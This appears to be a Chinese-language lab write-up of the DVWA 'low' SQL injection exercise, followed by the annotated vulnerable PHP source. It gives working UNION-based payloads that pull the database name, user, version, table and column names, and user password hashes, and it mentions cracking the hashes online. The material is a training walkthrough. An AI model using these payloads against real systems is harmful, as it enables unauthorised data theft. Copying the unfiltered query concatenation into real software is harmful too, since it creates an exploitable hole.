【DVWA】SQL Injection-----------------------low
1、初步测试
输入单引号报错
输入' and 1=1#
回显正常,说明存在sql注入
输入' or 1=1#
,遍历出数据库内容:
用order by测出主查询为两个字段
2、获取数据库名、用户名、版本
用union语句查询数据库名和用户名:
payload_1:' union select database(),user()#
payload_2:' union select 1,concat_ws('~',database(),user(),version())#
分析:用concat()
函数可以将多个查询结果拼接成一串;concat_ws()
可以直接指定分隔符;优点是使用concat()或concat_ws()函数可以仅占用一个查询字段就返回多个结果,效率很高。
得到数据库名为dvwa,用户名为root@localhost版本号为5.7.26
3、获取表名
查询dvwa数据库中的表名:
' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#
结果报出了这个错误,说是这个union操作非法,上网查了很多资料说是union两端查询的字段的排序规则不同问题解决
问题解决后,继续测试:
payload1:1' and 1=2 union select 1,group_concat(table_name) from information_schema.columns where table_schema='dvwa'#
分析:这里的and 1=2
是为了屏蔽主查询的结果回显,使得回显点输出的敏感字符更多,或者减少干扰项
获取的表名为guestbook,users。
4、获取列名
payload2:1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
分析:这里的group_concat()
函数作用是将column_name查询出来的内容拼接在一块(用,隔开),在回显点只允许输出一行的情况下,这种方法效率更高。
5、获取user与password
payload_1:1' and 1=2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#
payload_2:1' and 1=2 union select concat(user_id,first_name,last_name),1 from users#
注:concat()
函数是将所有元素查询的结果拼接在一块,一次只能显示一次的遍历结果
group_concat()
函数是将所有元素查询的结果拼接在一块,将每次遍历的结果用‘,’隔开
6、暴力破解密码
搜索md5在线破解工具:
源码分析:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //此处没有过滤或预处理,直接拼接到sql语句中,存在sql注入漏洞
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>